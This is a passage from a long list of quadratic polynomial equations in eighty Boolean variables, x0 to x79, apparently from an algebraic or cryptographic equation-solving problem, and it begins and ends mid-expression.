+ x55*x59 + x55*x61 + x55*x63 + x55*x65 + x55*x67 + x55*x69 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x56*x59 + x56*x61 + x56*x63 + x56*x65 + x56*x68 + x56*x69 + x56*x72 + x56*x73 + x56*x75 + x56*x76 + x56*x77 + x57*x58 + x57*x59 + x57*x61 + x57*x63 + x57*x64 + x57*x67 + x57*x69 + x57*x73 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x61 + x58*x62 + x58*x63 + x58*x67 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x78 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x65 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x69 + x60*x78 + x60*x79 + x61*x65 + x61*x66 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x78 + x61 + x62*x63 + x62*x65 + x62*x67 + x62*x69 + x62*x70 + x62*x73 + x62*x75 + x62*x77 + x62*x78 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x71 + x63*x73 + x63*x74 + x63*x76 + x63 + x64*x65 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x72 + x64*x73 + x64*x77 + x65*x67 + x65*x68 + x65*x70 + x65*x72 + x65*x76 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x68 + x66*x70 + x66*x72 + x66*x77 + x67*x71 + x67*x72 + x67*x74 + x67*x77 + x67*x78 + x68*x69 + x68*x70 + x68*x73 + x68*x76 + x68*x77 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x72 + x69*x74 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x70*x71 + x70*x73 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x76 + x71*x77 + x71*x79 + x72*x73 + x72*x76 + x73*x75 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x76 + x74*x78 + x74*x79 + x75*x77 + x75*x79 + x75 + x76 + x77*x79 + x77 + x78*x79 + x78, x0*x1 + x0*x5 + x0*x11 + x0*x14 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x23 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x35 + x0*x37 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x49 + x0*x51 + x0*x55 + x0*x61 + x0*x62 + x0*x65 + x0*x70 + x0*x71 + x0*x73 + x0*x74 + x0*x76 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x14 + x1*x20 + x1*x21 + x1*x23 + x1*x26 + x1*x27 + x1*x29 + x1*x30 + x1*x31 + x1*x34 + x1*x37 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x48 + x1*x49 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x60 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x73 + x1*x74 + x1*x75 + x1*x77 + x1*x78 + x2*x3 + x2*x5 + x2*x7 + x2*x9 + x2*x10 + x2*x12 + x2*x13 + x2*x16 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x26 + x2*x27 + x2*x29 + x2*x30 + x2*x33 + x2*x34 + x2*x42 + x2*x43 + x2*x47 + x2*x52 + x2*x53 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x68 + x2*x69 + x2*x70 + x2*x73 + x2*x74 + x2*x75 + x2 + x3*x5 + x3*x7 + x3*x8 + x3*x10 + x3*x11 + x3*x12 + x3*x15 + x3*x16 + x3*x17 + x3*x22 + x3*x25 + x3*x27 + x3*x29 + x3*x32 + x3*x33 + x3*x35 + x3*x36 + x3*x37 + x3*x39 + x3*x40 + x3*x45 + x3*x46 + x3*x50 + x3*x51 + x3*x52 + x3*x55 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x70 + x3*x71 + x3*x74 + x3*x75 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x11 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x20 + x4*x22 + x4*x23 + x4*x24 + x4*x26 + x4*x28 + x4*x29 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x42 + x4*x44 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x53 + x4*x57 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x63 + x4*x65 + x4*x68 + x4*x70 + x4*x71 + x4*x73 + x4*x76 + x5*x7 + x5*x8 + x5*x9 + x5*x10 + x5*x11 + x5*x13 + x5*x14 + x5*x17 + x5*x18 + x5*x19 + x5*x20 + x5*x21 + x5*x26 + x5*x27 + x5*x29 + x5*x34 + x5*x35 + x5*x36 + x5*x37 + x5*x38 + x5*x41 + x5*x42 + x5*x45 + x5*x46 + x5*x49 + x5*x50 + x5*x53 + x5*x55 + x5*x56 + x5*x57 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x71 + x5*x73 + x5*x74 + x5*x76 + x5*x78 + x6*x9 + x6*x10 + x6*x11 + x6*x14 + x6*x15 + x6*x17 + x6*x18 + x6*x21 + x6*x22 + x6*x26 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x36 + x6*x38 + x6*x43 + x6*x44 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x53 + x6*x55 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x65 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x11 + x7*x14 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x20 + x7*x21 + x7*x24 + x7*x25 + x7*x26 + x7*x32 + x7*x35 + x7*x36 + x7*x38 + x7*x42 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x51 + x7*x52 + x7*x56 + x7*x58 + x7*x65 + x7*x69 + x7*x71 + x7*x73 + x7*x75 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x14 + x8*x17 + x8*x18 + x8*x19 + x8*x20 + x8*x22 + x8*x23 + x8*x25 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x38 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x51 + x8*x52 + x8*x59 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x71 + x8*x73 + x8*x74 + x8*x75 + x8*x78 + x8*x79 + x8 + x9*x10 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x19 + x9*x22 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x33 + x9*x35 + x9*x37 + x9*x38 + x9*x39 + x9*x43 + x9*x45 + x9*x46 + x9*x48 + x9*x49 + x9*x50 + x9*x51 + x9*x54 + x9*x60 + x9*x61 + x9*x65 + x9*x67 + x9*x70 + x9*x75 + x10*x11 + x10*x12 + x10*x14 + x10*x15 + x10*x17 + x10*x19 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x25 + x10*x26 + x10*x29 + x10*x30 + x10*x31 + x10*x35 + x10*x37 + x10*x38 + x10*x40 + x10*x42 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x51 + x10*x53 + x10*x55 + x10*x58 + x10*x59 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x71 + x10*x73 + x10*x74 + x10*x76 + x10*x77 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x15 + x11*x16 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x23 + x11*x28 + x11*x30 + x11*x31 + x11*x33 + x11*x34 + x11*x37 + x11*x38 + x11*x45 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x53 + x11*x55 + x11*x57 + x11*x61 + x11*x63 + x11*x65 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x75 + x11*x76 + x12*x13 + x12*x14 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x25 + x12*x28 + x12*x31 + x12*x32 + x12*x33 + x12*x34 + x12*x35 + x12*x37 + x12*x40 + x12*x41 + x12*x43 + x12*x44 + x12*x46 + x12*x48 + x12*x49 + x12*x50 + x12*x52 + x12*x53 + x12*x54 + x12*x56 + x12*x60 + x12*x62 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x13*x16 + x13*x17 + x13*x18 + x13*x23 + x13*x24 + x13*x25 + x13*x27 + x13*x28 + x13*x29 + x13*x30 + x13*x31 + x13*x35 + x13*x37 + x13*x38 + x13*x40 + x13*x47 + x13*x48 + x13*x49 + x13*x51 + x13*x56 + x13*x57 + x13*x58 + x13*x61 + x13*x63 + x13*x65 + x13*x66 + x13*x67 + x13*x68 + x13*x69 + x13*x75 + x13*x78 + x14*x17 + x14*x19 + x14*x21 + x14*x23 + x14*x24 + x14*x26 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x38 + x14*x41 + x14*x42 + x14*x43 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x52 + x14*x55 + x14*x56 + x14*x59 + x14*x62 + x14*x63 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x20 + x15*x23 + x15*x24 + x15*x27 + x15*x31 + x15*x33 + x15*x36 + x15*x41 + x15*x43 + x15*x51 + x15*x54 + x15*x57 + x15*x58 + x15*x61 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x71 + x15*x72 + x15*x75 + x15*x77 + x16*x19 + x16*x24 + x16*x25 + x16*x26 + x16*x27 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x38 + x16*x39 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x54 + x16*x58 + x16*x59 + x16*x63 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x70 + x16*x74 + x16*x75 + x16*x76 + x16*x77 + x16*x78 + x17*x18 + x17*x21 + x17*x22 + x17*x24 + x17*x26 + x17*x27 + x17*x28 + x17*x31 + x17*x35 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x46 + x17*x47 + x17*x49 + x17*x50 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x58 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x68 + x17*x70 + x17*x73 + x17 + x18*x20 + x18*x23 + x18*x24 + x18*x27 + x18*x31 + x18*x32 + x18*x35 + x18*x39 + x18*x43 + x18*x44 + x18*x46 + x18*x49 + x18*x54 + x18*x57 + x18*x58 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x69 + x18*x70 + x18*x72 + x18*x75 + x18*x77 + x18*x78 + x19*x20 + x19*x23 + x19*x24 + x19*x27 + x19*x30 + x19*x36 + x19*x37 + x19*x38 + x19*x41 + x19*x43 + x19*x46 + x19*x52 + x19*x53 + x19*x56 + x19*x57 + x19*x62 + x19*x67 + x19*x68 + x19*x71 + x19*x73 + x19 + x20*x21 + x20*x24 + x20*x25 + x20*x32 + x20*x33 + x20*x34 + x20*x36 + x20*x37 + x20*x40 + x20*x41 + x20*x43 + x20*x44 + x20*x51 + x20*x53 + x20*x54 + x20*x58 + x20*x59 + x20*x60 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x68 + x20*x69 + x20*x72 + x20*x73 + x20*x75 + x20*x78 + x20*x79 + x20 + x21*x22 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x34 + x21*x37 + x21*x39 + x21*x42 + x21*x44 + x21*x50 + x21*x53 + x21*x55 + x21*x56 + x21*x61 + x21*x63 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x76 + x21*x77 + x21*x78 + x22*x24 + x22*x25 + x22*x29 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x37 + x22*x41 + x22*x42 + x22*x46 + x22*x52 + x22*x57 + x22*x58 + x22*x65 + x22*x69 + x22*x70 + x22*x71 + x22*x74 + x22*x75 + x22*x76 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x35 + x23*x37 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x50 + x23*x54 + x23*x62 + x23*x64 + x23*x68 + x23*x70 + x23*x71 + x23*x72 + x23*x73 + x23*x76 + x23*x77 + x24*x26 + x24*x28 + x24*x29 + x24*x32 + x24*x38 + x24*x41 + x24*x44 + x24*x47 + x24*x48 + x24*x52 + x24*x53 + x24*x57 + x24*x58 + x24*x59 + x24*x60 + x24*x61 + x24*x62 + x24*x68 + x24*x70 + x24*x73 + x24*x75 + x24*x76 + x24*x77 + x24*x78 + x24*x79 + x25*x33 + x25*x35 + x25*x40 + x25*x41 + x25*x43 + x25*x44 + x25*x45 + x25*x48 + x25*x51 + x25*x53 + x25*x54 + x25*x56 + x25*x60 + x25*x62 + x25*x64 + x25*x65 + x25*x66 + x25*x67 + x25*x69 + x25*x70 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x26*x27 + x26*x29 + x26*x30 + x26*x33 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x41 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x47 + x26*x49 + x26*x50 + x26*x51 + x26*x53 + x26*x58 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x69 + x26*x72 + x26*x75 + x26 + x27*x28 + x27*x32 + x27*x35 + x27*x36 + x27*x37 + x27*x39 + x27*x41 + x27*x47 + x27*x48 + x27*x49 + x27*x50 + x27*x52 + x27*x53 + x27*x55 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x65 + x27*x66 + x27*x69 + x27*x72 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x38 + x28*x43 + x28*x45 + x28*x46 + x28*x47 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x64 + x28*x65 + x28*x68 + x28*x70 + x28*x72 + x28*x75 + x28*x79 + x29*x31 + x29*x34 + x29*x35 + x29*x36 + x29*x37 + x29*x40 + x29*x42 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x50 + x29*x52 + x29*x55 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x77 + x29 + x30*x34 + x30*x37 + x30*x39 + x30*x42 + x30*x43 + x30*x46 + x30*x49 + x30*x52 + x30*x54 + x30*x55 + x30*x59 + x30*x60 + x30*x62 + x30*x64 + x30*x65 + x30*x66 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x75 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x32 + x31*x34 + x31*x36 + x31*x37 + x31*x39 + x31*x40 + x31*x41 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x51 + x31*x53 + x31*x56 + x31*x59 + x31*x61 + x31*x64 + x31*x65 + x31*x67 + x31*x69 + x31*x71 + x31*x74 + x31*x76 + x31*x77 + x31*x79 + x31 + x32*x33 + x32*x36 + x32*x40 + x32*x41 + x32*x42 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x53 + x32*x55 + x32*x56 + x32*x57 + x32*x65 + x32*x66 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x76 + x33*x35 + x33*x37 + x33*x39 + x33*x40 + x33*x41 + x33*x43 + x33*x47 + x33*x49 + x33*x56 + x33*x57 + x33*x58 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x72 + x33*x75 + x33*x76 + x33*x78 + x33*x79 + x34*x35 + x34*x36 + x34*x37 + x34*x39 + x34*x40 + x34*x42 + x34*x45 + x34*x46 + x34*x50 + x34*x51 + x34*x55 + x34*x57 + x34*x59 + x34*x61 + x34*x64 + x34*x67 + x34*x70 + x34*x75 + x34*x76 + x35*x36 + x35*x37 + x35*x41 + x35*x42 + x35*x43 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x53 + x35*x55 + x35*x56 + x35*x60 + x35*x63 + x35*x64 + x35*x65 + x35*x68 + x35*x70 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x78 + x35*x79 + x35 + x36*x37 + x36*x39 + x36*x40 + x36*x42 + x36*x44 + x36*x46 + x36*x47 + x36*x48 + x36*x49 + x36*x51 + x36*x52 + x36*x55 + x36*x57 + x36*x58 + x36*x60 + x36*x62 + x36*x65 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36 + x37*x39 + x37*x42 + x37*x43 + x37*x45 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x65 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x72 + x37*x76 + x37*x78 + x37 + x38*x42 + x38*x43 + x38*x44 + x38*x48 + x38*x50 + x38*x53 + x38*x55 + x38*x58 + x38*x60 + x38*x61 + x38*x68 + x38*x70 + x38*x74 + x38*x75 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x42 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x47 + x39*x51 + x39*x58 + x39*x59 + x39*x61 + x39*x62 + x39*x63 + x39*x64 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x79 + x39 + x40*x41 + x40*x42 + x40*x43 + x40*x45 + x40*x47 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x54 + x40*x59 + x40*x61 + x40*x62 + x40*x64 + x40*x67 + x40*x70 + x40*x73 + x40*x74 + x40*x76 + x40*x78 + x40*x79 + x41*x43 + x41*x44 + x41*x45 + x41*x48 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x55 + x41*x59 + x41*x60 + x41*x68 + x41*x69 + x41*x70 + x41*x72 + x41*x76 + x41*x78 + x41 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x57 + x42*x63 + x42*x65 + x42*x66 + x42*x70 + x42*x71 + x42*x75 + x42*x77 + x42*x78 + x42*x79 + x42 + x43*x44 + x43*x45 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x52 + x43*x53 + x43*x56 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x63 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x76 + x43*x77 + x43*x78 + x44*x45 + x44*x46 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x61 + x44*x62 + x44*x65 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x74 + x44*x76 + x44*x78 + x44*x79 + x44 + x45*x47 + x45*x48 + x45*x52 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x66 + x45*x69 + x45*x72 + x45*x75 + x45*x77 + x45*x79 + x46*x47 + x46*x48 + x46*x50 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x62 + x46*x63 + x46*x64 + x46*x66 + x46*x69 + x46*x71 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x52 + x47*x54 + x47*x55 + x47*x57 + x47*x58 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x67 + x47*x71 + x47*x75 + x47*x78 + x48*x49 + x48*x52 + x48*x55 + x48*x57 + x48*x60 + x48*x62 + x48*x64 + x48*x66 + x48*x70 + x48*x71 + x48*x73 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x55 + x49*x57 + x49*x58 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x73 + x49*x76 + x49*x79 + x50*x51 + x50*x52 + x50*x53 + x50*x55 + x50*x57 + x50*x59 + x50*x61 + x50*x62 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x51*x52 + x51*x53 + x51*x54 + x51*x60 + x51*x61 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51*x74 + x51*x75 + x51*x76 + x51*x77 + x51 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + x52*x62 + x52*x64 + x52*x70 + x52*x71 + x52*x75 + x52*x76 + x52 + x53*x54 + x53*x57 + x53*x60 + x53*x61 + x53*x63 + x53*x64 + x53*x66 + x53*x67 + x53*x68 + x53*x70 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x79 + x53 + x54*x57 + x54*x60 + x54*x61 + x54*x62 + x54*x63 + x54*x64 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x54 + x55*x57 + x55*x60 + x55*x61 + x55*x62 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x73 + x55*x78 + x55*x79 + x55 + x56*x63 + x56*x64 + x56*x65 + x56*x68 + x56*x69 + x56*x71 + x56*x73 + x56*x74 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x64 + x57*x73 + x57*x74 + x57*x75 + x57*x76 + x58*x66 + x58*x70 + x58*x73 + x58*x76 + x58*x79 + x58 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x71 + x59*x72 + x59*x73 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59*x79 + x59 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x69 + x60*x71 + x60*x73 + x60*x76 + x60*x77 + x60*x79 + x61*x62 + x61*x63 + x61*x68 + x61*x70 + x61*x71 + x61*x73 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x79 + x63*x69 + x63*x77 + x63*x78 + x64*x65 + x64*x66 + x64*x67 + x64*x72 + x64*x73 + x64*x75 + x65*x67 + x65*x69 + x65*x70 + x65*x72 + x65*x74 + x65*x77 + x65*x78 + x65*x79 + x65 + x66*x75 + x66*x76 + x66*x77 + x66*x78 + x67*x68 + x67*x70 + x67*x73 + x67*x74 + x67*x76 + x67*x78 + x67*x79 + x68*x69 + x68*x73 + x68*x76 + x69*x72 + x69*x74 + x69*x75 + x69*x77 + x69 + x70*x71 + x70*x73 + x70*x74 + x70*x75 + x70*x78 + x70*x79 + x71*x72 + x71*x75 + x71*x77 + x72*x74 + x72*x76 + x72*x77 + x72*x78 + x72*x79 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73 + x74*x76 + x74*x78 + x75*x76 + x75*x77 + x75*x79 + x76*x78 + x76 + x77*x78 + x77 + x78 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x9 + x0*x12 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x22 + x0*x25 + x0*x41 + x0*x42 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x57 + x0*x58 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x67 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x75 + x0*x77 + x0*x78 + x1*x2 + x1*x4 + x1*x6 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x13 + x1*x16 + x1*x18 + x1*x22 + x1*x23 + x1*x24 + x1*x25 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x35 + x1*x38 + x1*x40 + x1*x42 + x1*x43 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x53 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x60 + x1*x62 + x1*x64 + x1*x65 + x1*x67 + x1*x71 + x1*x73 + x1*x75 + x1*x76 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x13 + x2*x15 + x2*x16 + x2*x18 + x2*x19 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x27 + x2*x30 + x2*x31 + x2*x33 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x46 + x2*x47 + x2*x48 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x70 + x2*x73 + x2*x75 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x6 + x3*x7 + x3*x10 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x21 + x3*x24 + x3*x26 + x3*x30 + x3*x31 + x3*x32 + x3*x37 + x3*x41 + x3*x42 + x3*x43 + x3*x47 + x3*x48 + x3*x50 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x63 + x3*x64 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x73 + x3*x76 + x3*x78 + x3 + x4*x6 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x19 + x4*x22 + x4*x23 + x4*x25 + x4*x26 + x4*x27 + x4*x29 + x4*x31 + x4*x33 + x4*x35 + x4*x37 + x4*x38 + x4*x39 + x4*x45 + x4*x46 + x4*x48 + x4*x49 + x4*x51 + x4*x52 + x4*x53 + x4*x55 + x4*x56 + x4*x59 + x4*x61 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x75 + x4*x79 + x4 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x14 + x5*x19 + x5*x20 + x5*x23 + x5*x25 + x5*x28 + x5*x32 + x5*x36 + x5*x40 + x5*x41 + x5*x42 + x5*x44 + x5*x49 + x5*x50 + x5*x51 + x5*x55 + x5*x56 + x5*x59 + x5*x62 + x5*x64 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x73 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x15 + x6*x16 + x6*x18 + x6*x22 + x6*x25 + x6*x32 + x6*x33 + x6*x36 + x6*x37 + x6*x39 + x6*x41 + x6*x47 + x6*x48 + x6*x49 + x6*x50 + x6*x56 + x6*x57 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x71 + x6*x75 + x6*x77 + x6*x78 + x7*x8 + x7*x10 + x7*x12 + x7*x16 + x7*x17 + x7*x18 + x7*x22 + x7*x25 + x7*x26 + x7*x27 + x7*x28 + x7*x32 + x7*x33 + x7*x35 + x7*x37 + x7*x41 + x7*x42 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x53 + x7*x55 + x7*x57 + x7*x61 + x7*x62 + x7*x67 + x7*x71 + x7*x77 + x7*x78 + x8*x9 + x8*x12 + x8*x16 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x28 + x8*x29 + x8*x36 + x8*x37 + x8*x41 + x8*x43 + x8*x45 + x8*x46 + x8*x48 + x8*x49 + x8*x50 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x59 + x8*x60 + x8*x62 + x8*x65 + x8*x67 + x8*x68 + x8*x70 + x8*x72 + x8*x73 + x8*x75 + x8*x77 + x8*x78 + x9*x13 + x9*x16 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x23 + x9*x24 + x9*x27 + x9*x29 + x9*x30 + x9*x33 + x9*x36 + x9*x38 + x9*x39 + x9*x40 + x9*x43 + x9*x45 + x9*x48 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x62 + x9*x63 + x9*x64 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x73 + x9*x74 + x9*x75 + x9*x78 + x9 + x10*x11 + x10*x16 + x10*x18 + x10*x20 + x10*x22 + x10*x23 + x10*x32 + x10*x36 + x10*x37 + x10*x39 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x50 + x10*x51 + x10*x55 + x10*x57 + 